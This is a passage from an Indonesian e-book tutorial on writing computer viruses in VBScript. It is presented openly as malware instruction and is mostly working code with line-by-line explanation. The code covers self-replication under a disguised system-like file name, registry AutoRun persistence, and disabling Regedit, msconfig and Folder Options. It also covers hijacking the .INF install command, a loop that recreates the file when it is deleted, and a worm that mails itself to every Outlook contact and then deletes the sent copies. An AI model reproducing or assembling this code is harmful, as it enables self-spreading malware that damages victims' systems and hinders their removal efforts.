• Target = FolderLain.SpecialFolders("Recent") Baris perintah ini akan menghasilkan alamat path folder “Recent” dari user yang sedang aktif (Current User). • Target = WScript.ScriptFullName Jika perintah pada baris-baris sebelumnya akan menghasilkan alamat folderfolder system, namun pada baris ini akan menghasilkan alamat folder tempat script tersebut dijalankan lengkap beserta nama file-nya. Sebagai contoh, penulis menyimpan script ini pada folder “D:PublishE-BookVirus” dengan nama file “ScriptSpecialFolder.vbs”, maka jika dijalankan variabel “Target” akan berisi “D:PublishE-BookVirusScriptSpecialFolder.vbs”. 3.4 Anti Error Dalam membuat virus wajib hukumnya untuk menghindari error atau runtime-error yang terjadi saat virus berjalan. Karena jika terjadi error maka interpreter akan memunculkan dialogbox runtime-error dan virus akan berhenti berjalan. Hal tersebut tentunya tidak bagus untuk kesehatan virus kita dan dapat menimbulkan kecurigaan user saat dialogbox runtime-error tampil. Gambar 3.3: DialogBox Runtime Error Untuk mengatasi permasalahan tersebut anda dapat menggunakan perintah “On Error Resume Next” yang berfungsi untuk mengabaikan error jika ada error yang terjadi dan melanjutkan eksekusi ke perintah selanjutnya. Perintah tersebut diletakan paling atas pada script, berikut contoh penggunaannya jika digabungkan dengan script sebelumnya : 24

Dim Target Dim FSO On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") 'Windows Folder : Target = FSO.GetSpecialFolder(0) 'Windows System Folder : Target = FSO.GetSpecialFolder(1) 'Windows Temp Folder : Target = FSO.GetSpecialFolder(2) Perhatikan baris script yang berwarna merah dan tercetak tebal, disitulah perintah “On Error Resume Next” diletakan. Dengan demikian script virus anda akan terbebas dari runtime-error dan akan terus berjalan sampai akhir script. 3.5 Penggandaan Diri Metode penggandaan diri ini sudah menjadi “pakem” dalam dunia per-virus-an. Hampir (atau dapat dikatan semua) virus yang beredar menggunakan metode ini untuk menyimpan copy dirinya ke komputer host / target dan biasanya dengan nama file yang disamarkan sehingga user akan mengira file virus tersebut adalah bagian dari sistem operasi. File copy virus tersebutlah yang akan aktif dan terus bekerja setiap kali komputer dihidupkan dengan cara membuat fasilitas AutoRun pada sistem Windows. Fasilitas AutoRun ini akan dibahas pada bagian berikutnya. Pada metode penggandaan diri ini biasanya virus membuat copy dirinya sendiri pada folder sistem seperti folder Windows dan Windowssystem. Berikut akan diberikan contoh script-nya : 25

Dim FSO Dim BodyVirus Dim IsiVirus On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") 'Buka dan Baca Dirinya Sendiri Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName) 'Simpan Dalam Variabel IsiVirus IsiVirus = BodyVirus.ReadAll BodyVirus.Close 'Copy Dirinya Sendiri Ke Folder Windows Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) & "mskernel32.dll.vbs") BodyVirus.Write IsiVirus BodyVirus.Close Pada contoh script diatas, program akan mencoba untuk meng-copy dirinya sendiri ke folder Windows (defaultnya adalah “C:Windows”) dengan nama file “mskernel32.dll.vbs”. Untuk lebih jelasnya berikut akan diberikan keterangan dari tiap-tiap baris script tersebut : • Dim FSO Baris ini merupakan perintah untuk mendeklarasikan variabel bernama “FSO”. • Dim BodyVirus Sama seperti baris sebelumnya yaitu merupakan perintah untuk mendeklarasikan variabel bernama “BodyVirus”. • Dim IsiVirus Baris ini juga merupakan perintah untuk mendeklarasikan variabel dengan nama “IsiVirus”. 26

• On Error Resume Next Seperti telah dijelaskan pada sub-bab sebelumnya (3.4 Anti Error), perintah ini berfungsi untuk mengabaikan error jika ada error yang terjadi selama runtime, dan jika ada error yang terjadi interpreter secara otomatis akan melanjutkan eksekusi script pada baris berikutnya. • Set FSO = CreateObject("Scripting.FileSystemObject") Baris ini berisi perintah untuk mengeset variabel “FSO” sebagai objek “Scripting.FileSystemObject”. • Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName) Baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek file dan sekaligus melakukan pembukaan / pembacaan file (FSO.OpenTextFile). Adapun file yang dibuka / dibaca adalah file dirinya sendiri (WScript.ScriptFullName), dengan kata lain script tersebut akan membuka dan membaca dirinya sendiri (WScript.ScriptFullName). WScript.ScriptFullName akan memberikan nilai kembalian (Return Value) berupa alamat path beserta nama file script yang dijalankan tersebut. Jika kurang jelas baca lagi sub-bab 3.3 Mendapatkan Special Folder. • IsiVirus = BodyVirus.ReadAll Perintah pada baris ini berfungsi untuk mengisi variabel “IsiVirus” dengan isi dirinya sendiri yang pada baris sebelumnya telah dibuka. Perintah “BodyVirus.ReadAll” berfungsi untuk membaca keseluruhan isi file yang dalam contoh ini adalah file dirinya sendiri. • BodyVirus.Close Baris ini berfungsi untuk menutup file yang sebelumnya telah dibuka dan dibaca. • Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) & "mskernel32.dll.vbs") Baris ini harus ditulis dalam satu baris. Maksud dari perintah ini adalah mengeset variabel “BodyVirus” sebagai objek file dan sekaligus membuat sebuah file baru yang ditandai dengan perintah FSO.CreateTextFile. 27

sedangkan perintah FSO.GetSpecialFolder(0) akan menghasilkan alamat path folder Windows (C:Windows). Jadi file akan dibuat pada folder Windows dengan nama file “mskernel32.dll.vbs” yang ditandai dengan string “mskernel32.dll.vbs”. • BodyVirus.Write IsiVirus Perintah pada baris ini berfungsi untuk menulis file yang dibuat tersebut (“mskernel32.dll.vbs”) dengan isi dari variabel “IsiVirus” yang mana variabel “IsiVirus” tersebut berisikan script ini sendiri (dirinya sendiri) yang mana variabel “IsiVirus” tersebut telah diisikan pada perintah “IsiVirus = BodyVirus.ReadAll” pada perintah sebelumnya. • BodyVirus.Close Baris ini berfungsi untuk menutup file yang sebelumnya dibuka dan ditulis menggunakan perintah “Set BodyVirus = FSO.CreateTextFile(FSO.GetSpecialFolder(0) & “mskernal32.dll.vbs”)”. Setelah anda melihat script tersebut diatas, anda mungkin bertanya-tanya mengapa script programnya terlalu berbelit? Bukankah proses tersebut hampir sama atau mirip dengan proses copy? Mengapa tidak menggunakan fungsi copy saja agar script programnya lebih ringkas? Mengapa, mengapa dan mengapa? Tanya kenapa? Pertanyaan tersebut ada benarnya, proses tersebut bisa dikatakan sama dengan proses copy biasa. Lalu mengapa yang saya berikan adalah cara yang begitu berbelit? Hal tersebut dilakukan karena pada bab berikutnya kita akan membahas teknik anti-deletion (anti penghapusan) yang mana script tersebut diatas merupakan salah satu bagian dari teknik anti-deletion tersebut. Dengan menggunakan cara seperti tersebut diatas, sangat dimungkinkan program meng-copy-kan dirinya sendiri atau bahkan membuat atau membangun ulang dirinya sendiri WALAUPUN FILE PROGRAMNYA SUDAH DIHAPUS. Hal tersebut dimungkinkan karena program tersebut membaca dirinya sendiri dan menyimpannya di memory. Keren banget kan ☺. 28

Dan juga, jika anda menggunakan fungsi copy lalu ternyata file sumber sudah terhapus atau dihapus maka program akan menghasilkan runtime-error yang mengakibatkan gagalnya peng-copy-an file dan dengan demikian proses penggandaan diri pun ikut gagal. Namun jika anda tetap ingin melakukan metode penggandaan diri menggunakan fungsi copy berikut adalah contoh script-nya : 'Penggandaan Diri Menggunakan Fungsi Copy : Dim FSO Set FSO = CreateObject("Scripting.FileSystemObject") FSO.CopyFile WScript.ScriptFullName, FSO.GetSpecialFolder(0) & "mskernel32.dll.vbs", True Dimana penjelasan script-nya adalah sebagai berikut, proses copy dilakukan pada baris keempat dengan memanggil fungsi copy “FSO.CopyFile” dan sintaks yang digunakan adalah “FSO.CopyFile (FileSumber, FileTujuan, [OverWrite])” dimana “FileSumber” merupakan alamat path file asal yang mau di-copy dan “FileTujuan” adalah alamat path tujuan file sedangkan “OverWrite” merupakan tidakan yang harus dilakukan jika file tujuan ternyata sudah ada, nilainya adalah TRUE atau FALSE. Jika “OverWrite” diataur TRUE maka overwrite akan dilakukan jika file tujuan telah ada namun jika diatur FALSE overwrite tidak akan dilakukan jika file tujuan sudah ada. Gambar 3.4: File BackUp Virus (“mskernel32.dll.vbs”) Hasil Penggandaan Diri 29

3.6 Fasilitas AutoRun Yang dimaksud AutoRun disini adalah kemampuan sebuah program untuk dapat berjalan secara otomatis saat Windows start-up. Kebanyakan program-program virus dan antivirus menggunakan fasilitas ini sehingga dapat secara otomatis berjalan ketika Windows start-up. Fasilitas ini disediakan oleh sistem operasi Microsoft Windows melalui beberapa cara yang diantaranya adalah : 1. [Registry HKEY_CURRENT_USER] Key : SoftwareMicrosoftWindowsCurrentVersionRun Value : [Bebas] Value Data : [[wscript.exe] [Alamat Path ke Program] [%]] Contoh : wscript.exe C:WindowsVirus.vbs % Value Type : String Info : AutoRun terpengaruh user yang login. 2. [Registry HKEY_CURRENT_USER] Key : SoftwareMicrosoftWindowsCurrentVersionRunOnce Value : [Bebas] Value Data : [[wscript.exe] [Alamat Path ke Program] [%]] Contoh : wscript.exe C:WindowsVirus.vbs % Value Type : String Info : AutoRun pertama kali terpengaruh user yang login. 3. [Registry HKEY_LOCAL_MACHINE] Key : SoftwareMicrosoftWindowsCurrentVersionRun Value : [Bebas] Value Data : [[wscript.exe] [Alamat Path ke Program] [%]] Contoh : wscript.exe C:WindowsVirus.vbs % Value Type : String Info : AutoRun tanpa terpengaruh user yang login. 30

4. [Registry HKEY_LOCAL_MACHINE] Key : SoftwareMicrosoftWindowsCurrentVersionRunOnce Value : [Bebas] Value Data : [[wscript.exe] [Alamat Path ke Program] [%]] Contoh : wscript.exe C:WindowsVirus.vbs % Value Type : String Info : AutoRun pertama kali tanpa terpengaruh user yang login. 5. [Registry HKEY_LOCAL_MACHINE] Key : SoftwareMicrosoftWindows NTCurrentVersionWinlogon Value : Shell Value Data : Explorer.exe “[[wscript.exe] [Alamat Path ke Program] [%]]” Contoh : Explorer.exe “wscript.exe C:WindowsVirus.vbs %” Value Type : String Info : Tetap akan dijalankan walaupun saat SAFE MODE. 6. [StartUp Folder] Path : %StartMenuPath%ProgramsStartup Info : Buat Shortcut ke program atau copy file program. Dari beberapa daftar fasilitas AutoRun tersebut yang paling penulis rekomendasikan adalah dengan menggunakan daftar nomor tiga dan nomor lima (HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun dan HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon). Sedangkan cara untuk penulisan sama seperti yang telah dijelaskan pada sub-bab 3.2 (Baca Tulis Registry Windows). Berikut akan diberikan contoh script untuk membuat fasilitas AutoRun pada registry Windows : Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") 'Buat AutoRun di Registry HKLM : 31

ObjReg.RegWrite "HKLMSoftwareMicrosoftWindowsCurrentVersionRunmskernel32", "wscript.exe " & WScript.ScriptFullName & " %" Pada contoh tersebut akan membuat sebuah fasilitas AutoRun di registry pada key HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun dengan nama value “mskernel32” dan value data berisi “wscript.exe [alamat path program] %”. Nama value menggunakan nama “mskernel32” tak lain dan tak bukan adalah untuk keperluan penyamaran agar user mengira value tersebut merupakan buatan sistem Windows. Berikut adalah tampilan hasilnya di registry : Gambar 3.5: Key AutoRun Virus di Registry 3.7 Do…Loop Bikin Virus Tetap Hidup Jika anda membuat program menggunakan VBScript dan menjalankannya maka ketika interpreter sampai pada baris script terakhir dan mengeksekusinya program akan berhenti karena baris script yang akan dieksekusi sudah habis. Hal tersebut sangat tidak baik dalam pemrograman virus. Mengapa? Karena dalam konsep pemrograman virus, virus harus aktif begitu Windows aktif dan terus aktif selama Windows aktif. Jadi untuk mengatasi permasalahan tersebut dan agar virus tidak mati jika kode script telah selesai dieksekusi oleh interperter dapat digunakan perulangan 32

(looping) Do…Loop. Perulangan Do…Loop tersebut dimaksudkan untuk membuat interpreter sibuk dan terus mengulang tanpa menemui batas akhir script. Berikut adalah contoh script-nya : Do 'Kode Script yang Diulang... Loop Simpelkan akan tetapi perulangan tersebut nantinya akan berhubungan dengan teknik-teknik pemrograman virus tingkat lanjut seperti teknik anti deletion, teknik anti registry deletion, teknik infeksi dan lain sebagainya yang akan dijelaskan dalam bab selanjutnya. 33

BAB 4 Pemrograman Virus Tingkat Lanjut Pada bab sebelumnya kita telah membahas mengenai dasar pemrograman virus yang membahas mengenai perintah-perintah dasar yang sering digunakan dalam pemrograman virus. Sedangkan pada bab ini kita akan membahas perintah-perintah dan teknik-teknik yang lebih berat dibandingkan dengan perintah-printah yang terdapat pada bab sebelumnya. Ingat pembahasan kali ini lumayan berbahaya, penulis tidak bertanggung jawab atas segala kerusakan yang terjadi, backup dulu semua konfigurasi sistem anda. Dan juga penulis tidak peduli jika anda tidak mengerti dengan pembahasan ini ☺. 4.1 Disable Setting Demi menjaga kelangsungan hidup virus yang kita buat pada komputer host, kita harus menonaktifkan setting-setting yang dapat berpengaruh pada virus kita atau dapat digunakan user untuk melumpuhkan virus kita. Untuk melakukannya digunakan perintah tulis ke registry seperti yang telah dijelaskan pada bab sebelumnya. Beberapa diantaranya adalah sebagai berikut : • Menonaktifkan Registry Editor (Regedit.exe) Menonaktifkan registry editor mungkin merupakan hal yang cukup penting dan hampir semua virus (terutama virus lokal) melakukan hal ini. Dengan melumpuhkan setting ini user menjadi tidak dapat mengakses registry editor pada sistemnya sendiri. Berikut adalah contoh script-nya : Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") 34

ObjReg.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPol iciesSystemDisableRegistryTools", "1", "REG_DWORD" ObjReg.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPo liciesSystemDisableRegistryTools", "1", "REG_DWORD" Script tersebut akan menulis ke root key HKEY_CURRENT_USER dan HKEY_LOCAL_MACHINE. Setelah script tersebut dijalankan seharusnya registry editor sudah terkunci. Cobalah anda jalankan registry editor dan lihat apa yang tampil, jika yang tampil pesan registry editor telah di-disable oleh administrator berarti script yang anda tuliskan benar dan jika registry edit masih muncul berarti terdapat kesalahan pada script anda. Gambar 4.1: Registry Editor Telah Terkunci • Menonaktifkan Microsoft System Configuration Utility (msconfig) Berikutnya kita akan mencoba melumpuhkan msconfig dengan cara memasukan alamat path fiktif pada App Paths di registry. Alamat path fiktif yang akan dimasukan adalah “Z:AlamatPathFiktifBohong.exe” dan berikut adalah contoh script-nya : Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") 35

ObjReg.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionAp p PathsMSCONFIG.EXE", "Z:AlamatPathFiktifBohong.exe" Simpan dan jalankan script tersebut lalu coba anda panggil msconfig melalui fasilitas “Run” pada “Start Menu”. Jika yang tampil adalah pesan kesalahan bahwa Windows tidak dapat menemukan msconfig berarti script yang anda tuliskan sudah benar akan tetapi jika msconfig tetap tampil berarti ada kesalahan dalam script anda. Gambar 4.2: Msconfig Telah Dilumpuhkan • Menonaktifkan Folder Options Yang perlu dilumpuhkan selanjutnya adalah menu “Folder Options…” pada Windows Explorer. Perhatikan gambar berikut saat menu tersebut belum dilumpuhkan : Gambar 4.3: Menu Folder Option Masih Aktif 36

Dan berikut adalah contoh script-nya untuk membuat menu “Folder Options…” tersebut hilang dari daftar menu pada Windows Explorer : Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") ObjReg.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPol iciesExplorerNoFolderOptions", "1", "REG_DWORD" ObjReg.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPo liciesExplorerNoFolderOptions", "1", "REG_DWORD" Setelah script tersebut dijalankan seharusnya menu “Folder Options…” akan hilang, jika belum hilang coba restart komputer anda agar perubahan dijalankan. Gambar 4.4: Menu Folder Options Sudah Hilang 37

• Menonaktifkan *.INF Install Menu Menonaktifkan menu “Install” untuk file *.INF dapat dikatakan penting namun juga tidak terlalu penting, nah lo bingungkan…??? Menjadi penting karena file ini dapat digunakan untuk menghapus entri-entri virus yang kita buat pada registry, seperti yang diterapkan oleh VAKSIN.COM (sebuah organisasi yang selalu mengganggu kesenangan kita ☺), dan menjadi tidak penting karena kita akan mempelajari teknik anti registry deletion yang dapat menghindari penghapusan registry dengan cara tersebut. Berikut adalah script-nya : Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") ObjReg.RegWrite "HKEY_CLASSES_ROOTinffileshellInstallcommand", "wscript.exe " & WScript.ScriptFullName & " %" Perhatikan, pada baris terakhir terdapat spasi diantara tulisan wscript.exe dan tanda kutip (") dan juga terdapat spasi diantara tanda kutip (") dan tanda persen (%). Jangan sampai salah menuliskannya, jika salah menu “Install” tetap akan tidak berfungsi namun tidak sesuai dengan yang kita harapkan yaitu tidak akan dapat menjalankan virus kita saat menu “Install” diklik oleh user. Dengan demikian, setiap kali user melakukan klik kanan pada file *.INF dan memilih menu “Install” maka bukannya setting pada file *.INF tersebut yang terinstall namun malah virus kita yang akan dijalankan 4.2 Teknik Anti Deletion Teknik ini digunakan untuk mengatasi penghapusan file virus oleh user. Dengan menggunakan teknik ini, user yang belum berpengalaman (seperti teman saya yang bernama Mario yang beralamat di Wisma Asri, Bekasi) akan mengalami kesulitan untuk menghapus file virus. Pada dasarnya inti dari teknik ini sudah dibahas pada 38

bab 3 (3.5 “Penggandaan Diri” dan 3.7 “Do…Loop Bikin Virus Tetap Hidup”) dan untuk menyempurnakannya kedua pembahasan tersebut digabungkan sehingga menjadi sebuah teknik yang dalam pembahasan ini disebut dengan teknik anti deletion. Ok, berikut adalah contoh script programnya : Dim FSO Dim BodyVirus Dim IsiVirus On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") 'Buka dan Baca Dirinya Sendiri Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName) 'Simpan Dalam Variabel IsiVirus IsiVirus = BodyVirus.ReadAll BodyVirus.Close Do 'Periksa Apakah File Masih Ada ? If FSO.FileExists(WScript.ScriptFullName) = False Then 'File Sudah Dihapus, Buat Lagi Set BodyVirus = FSO.CreateTextFile(WScript.ScriptFullName) BodyVirus.Write IsiVirus BodyVirus.Close 'Kasih Pesan Msgbox "Maaf... Jangan Dihapus Dong...", VBExclamation, "Perhatian" End If Loop Simpan script tersebut dengan nama (misalnya) “anti-deletion.vbs” dan jalankan. Setelah anda jalankan, coba anda hapus file tersebut dan apa yang terjadi. Ya, proses penghapusan berjalan sebagai mana mestinya namun file tersebut akan muncul lagi dan malah menampilkan sebuah pesan berupa messagebox. 39

Algoritmanya adalah sebagai berikut, ketika pertama kali script tersebut berjalan script tersebut akan membuka dan membaca dirinya sendiri yang lalu disimpan dalam sebuah variabel memory bernama “IsiVirus”. Setelah proses tersebut script akan terus aktif (karena terkena perintah perulangan Do…Loop) dan terus memeriksa apakah dirinya masih ada atau tidak. Jika dirinya sudah tidak ada, misalnya dihapus, script tersebut akan mencoba untuk membuat file dirinya sendiri lagi dengan nama dan tempat yang sama lalu memunculkan pesan messagebox. Adapun pesan messagebox tersebut akan tampil seperti pada gambar berikut : Gambar 4.5: Messagebox yang Tampil Saat File Script Dihapus Berikut akan diberikan penjelasan jalannya proses script baris-per-baris : • Dim FSO Baris ini merupakan deklarasi variabel bernama “FSO”. • Dim BodyVirus Script pada baris ini juga merupakan sebuah deklarasi variabel, variabel yang dideklarasikan bernama “BodyVirus”. • Dim IsiVirus Sama seperti pada dua baris sebelumnya hanya saja variabel yang dideklarasikan bernama “IsiVirus”. • On Error Resume Next Script pada baris ini berfungsi untuk mengabaikan error yang terjadi atau yang akan terjadi. Maksudnya jika terjadi error setelah perintah tersebut maka error akan diabaikan dan proses akan terus dilanjutkan pada script dibaris selanjutnya. 40

• Set FSO = CreateObject("Scripting.FileSystemObject") Baris ini berfungsi untuk mengeset variabel “FSO” sebagai objek “Scripting.FileSystemObject”. • Set BodyVirus = FSO.OpenTextFile(WScript.ScriptFullName) Perintah pada baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek “FSO.OpenTextFile” dan sekaligus membuka dirinya sendiri. • IsiVirus = BodyVirus.ReadAll Baris ini berfungsi untuk mengisi variabel “IsiVirus” dengan dirinya sendiri yang tadi telah dibuka pada baris sebelumnya. Dengan demikian seluruh script pada file ini tersimpan pada memory yang diwakili oleh variabel “IsiVirus”. • BodyVirus.Close Script pada baris ini berfungsi untuk menutup file (file dirinya sendiri) yang tadi telah dibuka pada dua baris sebelumnya. • Do Perintah ini merupakan blok pembuka dari sebuah perulangan Do…Loop. • If FSO.FileExists(WScript.ScriptFullName) = False Then Script pada baris ini merupakan awal dari blok IF…End IF yang memiliki pengkondisian untuk memeriksa apakah file dirinya sendiri masih ada atau sudah tidak ada. Jika sudah tidak ada maka script yang berada didalam blok IF…End IF akan dijalankan namun jika masih ada script yang berada didalam blok IF…End IF tidak akan dijalankan. • Set BodyVirus = FSO.CreateTextFile(WScript.ScriptFullName) Baris ini berfungsi untuk mengeset variabel “BodyVirus” sebagai objek “FSO.CreateTextFile” yang berguna untuk membuat sebuah file text dan file yang dibuat adalah dirinya sendiri. • BodyVirus.Write IsiVirus Script pada baris ini berfungsi untuk menulis file (yang telah dibuat pada script baris sebelumnya) dengan isi variabel “IsiVirus” yang mana isi dari variabel tersebut adalah script dirinya sendiri. 41

• BodyVirus.Close Script ini berfungsi untuk menutup file yang telah dibuka dan ditulis pada dua baris script sebelumnya. • Msgbox "Maaf... Jangan Dihapus Dong...", VBExclamation, "Perhatian" Perintah script tersebut berfungsi untuk menampilkan messagebox yang memiliki tulisan “Maaf… Jangan Dihapus Dong…” yang memiliki icon tanda seru (!) dan memiliki titlebar dengan tulisan “Perhatian”. • End If Baris script ini merupakan penutup dari blok IF…End IF. • Loop Baris ini merupakan penutup dari blok perulangan Do…Loop. 4.3 Teknik Anti Registry Deletion Teknik ini secara teknis hampir sama atau mirip dengan teknik anti deletion yang telah dibahas pada sub-bab sebelumnya, hanya saja teknik ini digunakan untuk mengatasi penghapusan entri-entri registry yang dibuat oleh script (dalam hal ini virus). Dengan menggunakan teknik ini bukan berarti entri-entri buatan pada registry tidak dapat dihapus hanya saja akan sedikit lebih sulit dan bahkan bikin pusing bagi user yang belum berpengalaman (juga seperti teman saya Mario yang tinggal di Wisma Asri, Bekasi). Pada dasarnya inti dari teknik ini juga sudah dibahas pada bab 3 (3.2 “Baca Tulis Registry Window” dan 3.7 “Do…Loop Bikin Virus Tetap Hidup”) dan untuk membangun teknik ini anda tinggal menggabungkan kedua pembahasan dalam bab 3 tersebut. Berikut adalah contoh script programnya : Dim ObjReg On Error Resume Next Set ObjReg = CreateObject("WScript.Shell") 42

'Tulis ke Registry ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu" Do 'Tulis Lagi ke Registry ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu" Loop Ketika script tersebut dijalankan, program akan menulis entri ke registry dan akan menulis lagi dan menulis lagi entri yang sama ke registry melalui blok perulangan Do…Loop. Dengan demikian jika ada user yang menghapus entri tersebut secara otomatis entri tersebut akan tertulis lagi tanpa sepengetahuan user tersebut. 4.4 Menyebar Melalui E-Mail Sebenarnya teknik menyebar melalui e-mail ini merupakan salah satu teknik yang keren pada saat-saat awal kemunculan virus yang ditulis menggunakan bahasa VBScript. Namun sayangnya saat ini tingkat security pada produk-produk microsoft telah di perketat dan hampir semua antivirus akan memblokir akses yang memungkinkan program-program berbahaya seperti virus menyebarkan dirinya dengan memanfaatkan e-mail client Outlook dan fungsi MAPI. Mengacu pada penjelasan diatas, jangan terlalu berharap dari teknik menyebarkan diri melalui e-mail ini. Disini kita hanya akan mempelajari caranya saja agar mengerti bagaimana cara kerjanya dan supaya tidak “norak” sama teknik yang udah “basi” ini ☺. Berikut adalah contoh script menyebar menggunakan e-mail : InfeksiEmail Function InfeksiEmail() Set ObjEmail = CreateObject("Outlook.Application") If ObjEmail = "Outlook" Then Set ObjMapi = ObjEmail.GetNameSpace("MAPI") Set DaftarAlamat = ObjMapi.AddressLists 43

For Each Alamat In DaftarAlamat If Alamat.AddressEntries.Count <> 0 Then JmlAlamat = Alamat.AddressEntries.Count For i = 1 To JmlAlamat Set ObjEmailItem = ObjEmail.CreateItem(0) Set AlamatEmail = Alamat.AddressEntries(i) ObjEmailItem.To = AlamatEmail.Address ObjEmailItem.Subject = "INI SUBJECT" ObjEmailItem.Body = "INI BODY E-MAIL" Set AttachmentItem = ObjEmailItem.Attachments ObjEmailItem.DeleteAfterSubmit = True AttachmentItem.Add WScript.ScriptFullName If ObjEmailItem.To <> "" Then ObjEmailItem.Send End If Next End If Next End If End function Teknik menyebar melalui e-mail tersebut pada script diatas diletakan dalam sebuah fungsi (function) yang bernama “InfeksiEmail” yang dimulai dengan perintah “Function InfeksiEmail()” dan diakhiri dengan perintah “End Function”. Dimana fungsi tersebut dipanggil dan dijalankan pada baris pertama script yaitu “InfeksiEmail”. Dari script tersebut dapat diketahui bahwa untuk menyebarkan diri melalui e-mail dilakukan dengan memanfaatkan aplikasi e-mail client Microsoft Outlook dan 44

menyebar keseluruh alamat e-mail yang terdapat pada daftar kontak Outlook. Dan berikut adalah penjelasan script baris-per-baris : • InfeksiEmail Baris ini merupakan script pemanggil fungsi “Function InfeksiEmail()”. Jadi maksudnya fungsi “Function InfeksiEmail()” tersebut akan dieksekusi dan dijalankan pada beris tersebut. • Function InfeksiEmail() Merupakan blok pembuka fungsi (function) yang mana fungsinya bernama “InfeksiEmail”. • Set ObjEmail = CreateObject("Outlook.Application") Baris ini mengeset variabel “ObjEmail” sebagai objek aplikasi Outlook. Bisa dikatakan aplikasi Microsoft Outlook diwakilkan sebagai variabel “ObjEmail” pada script ini. • If ObjEmail = "Outlook" Then Baris ini merupakan blok pembuka kondisi IF…End IF yang memeriksa isi dari variabel “ObjEmail” dimana jika variabel “ObjEmail” tersebut berisi “Outlook” maka script didalam blok IF…End IF tersebut akan dijalankan. • Set ObjMapi = ObjEmail.GetNameSpace("MAPI") Baris ini mengeset variabel “ObjMapi” sebagai objek MAPI, dimana hampir setiap e-mail client berbasis Windows menggunakan objek MAPI tersebut. • Set DaftarAlamat = ObjMapi.AddressLists Pada baris ini variabel “DaftarAlamat” diset sebagai daftar alamat objek MAPI pada aplikasi Outlook. • For Each Alamat In DaftarAlamat Disini script akan melakukan perulangan untuk mendapatkan setiap alamat email yang terkandung didalam variabel “DaftarAlamat”. • If Alamat.AddressEntries.Count <> 0 Then Blok IF pada baris ini akan melakukan pemeriksaan apakah jumlah alamat tidak sama dengan nol (0). Jika tidak sama dengan nol (0) maka eksekusi perintah yang berada didalam blok IF…END IF tersebut. 45

• JmlAlamat = Alamat.AddressEntries.Count Mendapatkan jumlah alamat yang hasilnya ditampung pada variabel “JmlAlamat”. • For i = 1 To JmlAlamat Baris ini merupakan awal blok perulangan FOR…NEXT yang akan melakukan perulangan dari nilai satu (1) sampai sebanyak jumlah alamat yang nilainya dikandung dalam variabel “JmlAlamat”. • Set ObjEmailItem = ObjEmail.CreateItem(0) Baris ini berfungsi untuk mengeset variabel “ObjEmailItem” sebagai objek email yang berfungsi untuk membuat item email baru. • Set AlamatEmail = Alamat.AddressEntries(i) Baris ini mengeset variabel “AlamatEmail” sebagai alamat email ke “i” yang mana “i” merupakan nilai dari perulangan FOR…NEXT dari satu (1) sampai dengan jumlah alamat email yang terkandung dalam variabel “JmlAlamat”. • ObjEmailItem.To = AlamatEmail.Address Perintah pada baris ini akan mengisi alamat email tujuan (To) yang diwakilkan dengan objek email “ObjEmailItem.To” dari daftar alamat email yang didapat dari variabel “AlamatEmail.Address”. • ObjEmailItem.Subject = "INI SUBJECT" Baris ini akan mengisikan subject email ke objek email “ObjEmailItem.Subject”. Dimana isi subject-nya adalah “INI SUBJECT”, anda dapat menggantinya sesuai keinginan anda. • ObjEmailItem.Body = "INI BODY E-MAIL" Sama seperti baris sebelumnya hanya saja disini kita mengeset body / pesan dalam email, dimana isinya adalah “INI BODY E-MAIL” dan anda dapat menggantinya sesuai dengan keinginan anda. • Set AttachmentItem = ObjEmailItem.Attachments Baris ini mengeset variabel “AttachmentItem” sebagai objek “ObjEmailItem.Attachments” yang nantinya berfungsi untuk mewakili objek attachment pada email. 46

• ObjEmailItem.DeleteAfterSubmit = True Baris ini berfungsi untuk mengeset setting Outlook untuk secara otomatis menghapus email yang sudah terkirim, maksudnya untuk menghilangkan jejak virus yang berusaha mengirimkan email pada setiap daftar kontak di Outlook. • AttachmentItem.Add WScript.ScriptFullName Perintah pada baris ini berfungsi untuk menambahkan attachment email dengan virus itu sendiri, dimana perintah “WScript.ScriptFullName” merupakan pengalamatan path dirinya sendiri. • If ObjEmailItem.To <> "" Then Baris ini merupakan blok pembuka IF…END IF yang akan memeriksa apakah alamat tujuan tidak kosong, jika tidak maka eksekusi perintah yang berada didalam blok IF…END IF tersebut. • ObjEmailItem.Send Kirim email, ya, pada baris ini virus akan memerintahkan Outlook untuk segera mengirimkan email beserta dengan atachment virus. • End If Merupakan blok penutup IF…END IF dari “If ObjEmailItem.To <> "" Then”. • Next Merupakan blok penutup perulangan FOR…NEXT dari “For I = 1 To JmlAlamat”. • End If Merupakan blok penutup IF…END IF dari “If Alamat.AddressEntries.Count <> 0 Then”.

Add a comment

Related presentations

Related pages

Pemrograman Virus Menggunakan Vbscript - scribd.com

Pemrograman Virus Menggunakan VBScript Copyright © 2006. Wahyu Utilities. All Rights Reserved. No parts of this work may be reproduced in any form or ...
Read more

Pemrograman Virus Menggunakan VBScript - Education

Pemrograman Virus Menggunakan VBScript (Virus Programming using VBScript)
Read more

Virus dengan VBS Generator(Visual BaSic)Paulushack ...

